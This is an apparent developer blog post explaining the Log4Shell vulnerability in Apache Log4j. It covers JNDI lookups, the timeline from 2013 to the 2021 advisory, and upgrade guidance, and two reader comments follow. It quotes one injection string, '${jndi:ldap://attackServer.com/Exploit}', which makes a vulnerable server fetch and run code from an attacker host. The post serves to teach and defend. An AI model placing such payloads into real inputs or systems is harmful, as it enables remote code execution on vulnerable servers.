Apache Log4j : Return of the JNDI

#java #security #log4shell #log4j

It seems surreal seeing log4j, a logging utility in the news and all over the internet. How is it that a little over 35000 java packages, amounting to 8% of the Maven Central Repository has been impacted due to the log4shell vulnerability. How is it that a vulnerability in a logging library could result in a CVSS score of 10[the highest it can go is 10]. This classic java logging library hitting mainstream feels so odd. Two different worlds that shouldn't be meeting.

In this blog, let's understand what is log4j and what exactly is this log4shell vulnerability and why it happened?

What is log4j?

Apache Log4j is one of the most utilized logging library in the Java ecosystem. If you ever worked within a Java application, you've probably seen log4j in action. Log4j along with the basic logging capabilities, it provides additional features like log levels, a mechanism to write to different files, log rolling patterns. Although logging in java is quite a hell, log4j has been doing its job pretty fine over the years. I wanted to introduce log4j and its basic features to understand the bigger picture. So here is a simple java example using log4j.

In the above snippet, we are getting a logger instance logger = LogManager.getLogger(); and we are calling logger.info("Hello World"); to log a basic message. Besides this, log4j can be heavily configured. You can learn more on configuring log4j here.

What is Log4j vulnerability aka Log4Shell? :

Log4j by default supported a logging capability called lookups. Lookups in log4j are a way to add a value to the log4j configuration. This means it can interpolate specific strings at the time of logging the message.

For example the environment lookup $${env:USER} allows us to add environment variables in the log message.
One of the supported lookups in log4j is the JNDI Lookups which allows variables to be retrieved via JNDI which supports LDAP. To better understand how it can create a problem let's understand JNDI
JNDI as it stands for Java Naming and Directory Interface provides an API for applications to interact with remote objects which are registered with the RMI registry or directory services like LDAP. A java-based application can make use of JNDI and LDAP to retrieve a business object containing data it might need, a pretty cool feature. This LDAP server could be remote or local. As a result, if a string which would look like ${jndi:ldap://attackServer.com/Exploit} was to be ever logged, JNDI would make a remote request to the LDAP server 'attackServer.com', request the file Exploit from the webserver and execute the request, And BOOM you get a REMOTE CODE EXECUTION (RCE).

Log4j is such a popular library that even if you aren't using it directly, you might depend upon another library which actually uses log4j for their logging purpose or that might depend on another library that might use log4j. At this point, considering the popularity of log4j there is a good chance that any decent sized java application might be using Log4j. According to a dev-sec company called Synk found that about 60% application they scanned uses log4j indirectly and not depending on it directly.

How did the vulnerability happen?

Now that we have a basic understanding of how the vulnerability works, the bigger question is how did this happen?
You would be surprised that this exploit was sitting like a duck ready to be exploited for more than 8 years and no one noticed it. Let us understand the timeline.

On 10th of December, Apache published an advisory for CVE 2021-44228 with an update for log4j. So unlike the internet's belief, it was not discovered in Minecraft. It was first reported by Chen Zhaojun from the Alibaba Cloud Security Team on 26th November 2021. The Apache log4j team was made aware of the bug on 30th November 2021.
Rolling back to 2013, when a new feature patch was submitted to log4j to add log4j JNDI lookups, sounded like a cool feature. But this was the introduction of vulnerability. Reference here
In 2014, somebody wanted to disable date lookups because of the compatibility issues with other libraries and So a feature was asked to disable lookups. A new feature %msg{nolookups} was added. Reference Here
Fast forward to 2017, a new config option was added formatmsgNoLookups which disables lookups globally. Reference Here This now applies to %msg{nolookups}, so you don't have to replace and configure all log messages with %msg{nolookups} anymore. Both %msg{nolookups} and formatmsgNoLookups were proposed as the initial mitigation approach for the log4shell vulnerability for users who could not update their log4j dependency but was later scrapped.
And in 2021 we finally get an advisory about the RCE in the log4j utility tool.

But wait a minute this is not the complete timeline, there is a significant thing that is missing

In 2016, something important happened. Let's talk about the JNDI and the LDAP exploitation.
In 2016, at BlackHat, there was a talk by Alvaro Muñoz named A journey from JNDI/LDAP Manipulation to RCE DreamLand.
In this talk, they presented research into the JNDI and specifically the LDAP and RMI features. It turns out that you can basically "Store" java serialized objects in LDAP and then a JNDI lookup is not looking at just a basic string but maybe a complex java object. And this is where we enter the world of arbitrary code execution.
In the java development world, people love to send complete objects over the network. And most of the Java Remote code execution CVEs are a result of arbitrary object deserialization or class. There is a java Security Manager object where you can set certain policies to prevent or sandbox arbitrary remote code execution. But yeah this whole object serialization and remote class loading is a java feature.

And there we have a complete timeline of the log4shell vulnerability.

I think this thing shows that Pandora's box is now open, people are going to be looking at every open-source libraries, every closed source libraries to find similar things where this can come along.

Mitigation Guide:

Organizations and developers are urged to upgrade to Log4j 2.17.0 (for Java 8), 2.12.3 (for Java 7) and 2.3.1 (for Java 6), and review and monitor the Apache Log4j Security Vulnerabilities webpage for updates and mitigation guidance.
A community-sourced GitHub repository has been created for any information regarding the mitigation process and the vendors details.

Thanks for reading this blog, if you find it valuable then give it an applaud 👏

References:

Top comments (10)

Ross Olson • Apr 8 '22

This great write up was referenced inside a large organization as part of a retrospective on the effort to mitigate the problem. Thanks for the summary!

deathshadow60 • Dec 26 '21 • Edited

I'm just sitting here laughing since it's not on any of my servers, because I've never trusted Java to even be present on any of my servers in the first place. All the claims about how 'great" Java was rang hollow to me, especially after I first tried using it a decade and a half ago.

Though the real problem is the same as what happened with NPM a while back with that stupid string padding function. Blindly trusting code off the web without understanding what it is, what it does, or even if you actually need it. Dependency hell is a genuine issue that's only getting worse and worse over time!